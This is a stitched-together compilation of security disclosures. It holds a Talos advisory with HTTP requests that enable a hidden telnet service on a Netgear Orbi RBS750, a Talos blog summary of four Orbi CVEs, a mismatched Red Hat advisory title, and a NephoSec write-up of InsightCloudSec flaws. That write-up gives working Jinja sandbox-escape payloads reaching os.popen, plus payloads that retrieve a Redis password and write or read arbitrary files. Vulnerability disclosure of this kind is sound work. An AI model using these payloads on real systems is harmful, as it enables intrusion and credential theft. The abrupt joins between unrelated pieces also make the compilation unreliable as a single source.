**SUMMARY**

A command execution vulnerability exists in the ubus backend communications functionality of Netgear Orbi Satellite RBS750 4.6.8.5. A specially-crafted JSON object can lead to arbitrary command execution. An attacker can send a sequence of malicious packets to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Netgear Orbi Satellite RBS750 4.6.8.5

**PRODUCT URLS**

Orbi Satellite RBS750 - https://www.netgear.com/support/product/RBS750

**CVSSv3 SCORE**

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-912 - Hidden Functionality

**DETAILS**

The Orbi Mesh Wi-Fi System creates dedicated high-speed Wi-Fi connections to your Internet service. The Orbi router (model RBR750) connects to your modem or gateway. The Orbi satellite (model RBS750) extends the Wi-Fi signal throughout your home.

Interprocess communications between the router and satellite are often handled using the OpenWRT ubus library. While this is normal, there is a hidden functionality built into the satellite device that allows an attacker with knowlege of the web GUI password (or knowledge of the default password if this was unchanged), to enable and subsequently log into a hidden telnet service.

The initial step in triggering this vulnerability is to get a session using the SHA256 sum of the password with the username ‘admin’:

    POST /ubus HTTP/1.1
    Host: 10.0.0.4
    Content-Length: 217
    Accept: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
    Content-Type: application/json
    Origin: http://10.0.0.4
    Referer: http://10.0.0.4/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    {"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"<SHA256 hash of password>","timeout":900}],"jsonrpc":"2.0","id":3}
    

This will return a ‘ubus\_rpc\_session’ token needed to start the hidden telnet service:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 829
    Connection: close
    Date: Mon, 11 Jul 2022 19:27:03 GMT
    Server: lighttpd/1.4.45
    
    {"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
    

Once this token is retrieved we simply need to add a parameter called ‘telnet\_enable’ to start the service:

    POST /ubus HTTP/1.1
    Host: 10.0.0.4
    Content-Length: 138
    Accept: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
    Content-Type: application/json
    Origin: http://10.0.0.4
    Referer: http://10.0.0.4/status.html
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    {"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
    

**Exploit Proof of Concept**

Using the same password used earlier to generate the SHA256 hash with the username ‘admin’ will allow an attacker to log into the service:

    $ telnet 10.0.0.4
    Trying 10.0.0.4...
    Connected to 10.0.0.4.
    Escape character is '^]'.
    
    login: admin
    Password: === IMPORTANT ============================
     Use 'passwd' to set your login password
     this will disable telnet and enable SSH

CVE-2022-36429: TALOS-2022-1597 || Cisco Talos Intelligence Group

Cisco Talos recently discovered four vulnerabilities in the Netgear Orbi mesh wireless system, including the main hub router and satellite routers that extend the network’s range.

Tuesday, March 21, 2023 13:03

_Christopher McBee and Dave McDaniel of Cisco Talos discovered these vulnerabilities._

Cisco Talos recently discovered four vulnerabilities in the Netgear Orbi mesh wireless system, including the main hub router and satellite routers that extend the network’s range.

A mesh system allows users to set up multiple access points to the Wi-Fi in their homes using various access points. Netgear’s Orbi system connects to the user’s modem or gateway and uses “satellites” to extend the Wi-Fi signal to different places throughout the home.

Talos discovered a vulnerability in the Orbi Satellite — TALOS-2022-1596 (CVE-2022-37337) — that could lead to arbitrary command execution on the device. The user needs to authenticate into the mesh system first, meaning they’d need to access an unprotected network or the login credentials of a password-protected network, for this attack to be successful. Then, the adversary needs to send a specially crafted HTTP request to trigger the vulnerability.

Two other issues, TALOS-2022-1595 (CVE-2022-38452) and TALOS-2022-1597 (CVE-2022-36429), exist in the main Orbi router that could also lead to arbitrary command execution if the adversary sends a specially crafted network request or JSON object, respectively.

TALOS-2022-1598 (CVE-2022-38458) also exists in the router. In this case, though, an adversary can carry out a man-in-the-middle attack to trick the service’s Web Services Management tool into disclosing sensitive information.

Cisco Talos worked with Netgear to ensure that TALOS-2022-1596, TALOS-2022-1597 and TALOS-2022-1598 are resolved and an update is available for affected customers. However, the company is still developing a patch for TALOS-2022-1595, though we are disclosing this vulnerability according to our 90-day timeline outlined in Cisco’s vulnerability disclosure policy.

Users are encouraged to update these affected products as soon as possible: Netgear Orbi Satellite RBS750, version 4.6.8.5. Talos tested and confirmed these versions of the Orbi system could be exploited by these vulnerabilities.

The following Snort rules will detect exploitation attempts against this vulnerability: 60474 – 60477 and 60499. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall Management Center or Snort.org.

Red Hat Security Advisory 2023-1335-01

An authenticated attacker can leverage an exposed resource.db() accessor method to smuggle Python method calls via a Jinja template, which can lead to code execution. This issue was resolved in the Managed and SaaS deployments on February 1, 2023, and in version 23.2.1 of the Self-Managed version of InsightCloudSec.

CVE-2023-1304  ◾  CVE-2023-1305   ◾  CVE-2023-1306

**Introduction**

InsightCloudSec (formerly DivvyCloud) is a fully-integrated cloud-native security platform (CNSP) that enables organizations to drive cloud security forward through continuous security & compliance. With InsightCloudSec, Rapid7 is the first organization to bring together a single solution that integrates posture management, identity & access management, infrastructure-as-code, and Kubernetes workload protection to enable teams to safely speed up their cloud adoption without compromise.

https://docs.divvycloud.com/docs

The InsightCloudSec/DivvyCloud (ICS) platform allows central management of cloud assets and resources across multiple cloud providers in a single, unified web interface.

ICS allows for the automation of inventory management tasks such as:

*   Compliance checks
*   Resource management
*   Auto-tagging

ICS allows for event-based action execution. For example, should an EC2 instance have a rule allowing RDP to be world-accessible, a user-built action will fire. These may include sending an email to a cloud security team, spinning down the instance, etc.

Automation of these tasks is done through “bots.”

**Exploitation**

**CVE-2023-1304**

Initial attack surface exploration of the bot framework showed that ICS allows for Jinja templating within the body of an email sent when the bot is triggered. The presence of Jinja templating was a thoroughly enticing opportunity for a deep dive into the application’s Jinja rendering configuration.

https://docs.divvycloud.com/docs/jinja2

The first step for exploration was to create a bot which could be triggered arbitrarily to render the Jinja template. This naturally requires the user to have privileges within the application to create or edit bots. with the following roles:

*   Bot creator
*   Bot editor

**Fig. 1. Creating the bot**

Once created, we assign a resource to monitor, and a filter which specifies the conditions for which the bot will execute:

**Fig. 2. Specifying the monitored resource type (Instance)**

**Fig. 3. Selecting the filter for the monitored resource type**

NephoSec selected the “Always Match” filter for ease of exploitation, allowing rapid triggering of the preceding action. NephoSec then chose the “Send Bulk Email” action to trigger when the filter condition is met:

**Fig. 4. Selecting the “Send Bulk Email” action**

**Fig. 5. Configuration of the “Send Bulk Email” action**

**Remote Code Execution**

NephoSec noted the “Preview Message” link sent the contents of the message to an API endpoint via POST request which rendered the provided email body (including Jinja templates). NephoSec leveraged BurpSuite to capture and modify the template rendering request:

**Fig. 6. Sending a template email to the Jinja mock endpoint**

**Fig. 7. Confirming Jinja template rendering**

Per ICS documentation the user may access the “resource” object within the templating to provide details about the impacted resource which may include resource type, public ip, associated tags, etc as can be seen in Figure 9:

**Fig. 8. Object disclosure when rendering “resource” object**

NephoSec attempted to test access to “sensitive” methods associated with an object such as “\_\_dir\_\_”, but found the Jinja rendering engine leveraged security sandboxing as seen in the following request:

**Fig. 9. Security error when accessing unsafe methods or members**

As the typical attack chain for Jinja was not feasible, NephoSec explored the available objects within the Instance class to aid in exploitation.

NephoSec identified the “db” member available to the Instance object by leveraging BurpSuite’s “Intruder”:

**Fig. 10. Intruder attack enumerating member variables of the Instance class**

**Fig. 11. Object disclosure of the “DivvyCloudGatewayORM” object**

Referring to the source code within the ICS container, NephoSec identified the DivvyCloudGatewayORM class exposed a method named “GetHighestNumberedOrganization” which returned an Organization

**Fig. 12, 13. DivvyCloudGatewayORM exposed functions**

The Organization class inherited from the “Base,” “AbstractListTable,” and “ResourceMixin” classes as can be seen in the source definition:

**Fig. 14. Definition of the Organization class**

By examining the AbstractListTable object, NephoSec found a method exposed by the AbstractListTable class named “access\_query\_column” with the following definition:

**Fig. 15. “access\_query\_column” exposing the “getattr” method**

By chaining the db member, the Organization class, and the AbstractMixinTable base class, NephoSec had the ability to invoke the stdlib “getattr” method, allowing access to “sensitive” methods like “\_\_dir\_\_” as can be seen in the following request:

**Fig. 16. Successful referencing of the dir method**

Using this prototype, NephoSec confirmed the ability to execute the built-in dir method against the resource.db object as seen in the following request:

**Fig. 17. Invoking built-in dir method against “resource.db” object**

Using this new gadget, NephoSec crafted a Jinja template to achieve remote code execution using the following logic:

1\. Use the dir gadget to access \_\_class\_\_ , \_\_mro\_\_ , and \_\_getattribute\_\_  
2\. Use \_\_getattribute\_\_ to reference \_\_subclasses\_\_  
3\. Use \_\_subclasses\_\_ to reference the “warncls” class  
4\. Use the system module within the “warncls” class to invoke os.system

NephoSec used the following payload to successfully invoke the command uname -a formatted without annoying padding, and shown in the request as seen in the following figures:

{% set a = resource.db.GetHighestNumberedOrganization().access\_query\_column %}
{% set \_getattr = a(None, '\_\_getattribute\_\_')\[1\] %}
{% set subclasses = \_getattr( \_getattr( \_getattr( (), '\_\_class\_\_' ), '\_\_base\_\_'),
'\_\_subclasses\_\_')() %} {% set warncls = subclasses\[115\] %}
{% set mod\_sys = \_getattr( \_getattr( warncls, '\_\_init\_\_'), '\_\_globals\_\_')\['sys'\] %}
{{ mod\_sys.modules\['os'\].popen('uname -a').read() }}

**Fig. 18. Jinja template (without padding for readability)**

**Fig. 19. Full payload for command execution (with padding for readability) executing uname -a**

This occurs due to the accessibility to the getattr() method allowing unconstrained access to private methods which were denied by the security sandbox.

In essence, the payload may be reduced to the following python code:

cls = ().\_\_class\_\_ # get a base class
base = cls.\_\_base\_\_ # reference base class
subclasses = base.\_\_subclasses\_\_ # reference subclasses list
warncls = subclasses\[115\] # reference the "warning" subclass which contains a path
to reach the sys module
mod\_sys = warncls.\_\_init\_\_.\_\_globals\_\_\['sys'\] # reference the sys module
mod\_sys.modules\['os'\].popen('uname -a').read() # invoke and read stdout from the
command "uname -a"
# akin to just running os.popen() ...

**Arbitrary Redis Command Execution**

**CVE-2023-1306**

NephoSec identified the following execution path to allow execution of Redis commands on the connected instance:

{{ resource.db.logger.root.handlers\[1\].redis }}

Provides the following available methods:

**Redis Password Retrieval**

Leveraging the getattr method, NephoSec identified a path to retrieve the cleartext password for the redis instance in use by ICS by executing the following payload:

{{ resource.db.logger.root.handlers\[1\].redis.connection\_pool.get\_connection(command\_name='').password }}

Confirmation can be seen in the following request (this instance has been decommissioned and the password is no longer valid):

**Arbitrary File Overwrite**

**CVE-2023-1305**

NephoSec identified the “Box” object referenced by “resource.ext” had the ability to read and write files as yaml and json. NephoSec used this class to write JSON to arbitrary files (that are writeable by the user) leveraging the following payload:

{{ resource.ext.from\_json( '{ \\"a\\" : 1 }' ).to\_json(filename='/tmp/test') }}
{# writing to file #}
{{ resource.ext.from\_json(filename='/tmp/test').to\_json() }}
{# reading the written contents #}

**Limited Arbitrary File Read**

NephoSec noted **extremely limited** arbitrary file read capabilities, as the target file on the host MUST be parseable by either the json or yaml parser provided by the Box object as seen in the following payload:

{{ resource.ext.from\_yaml(filename='/etc/group') }}
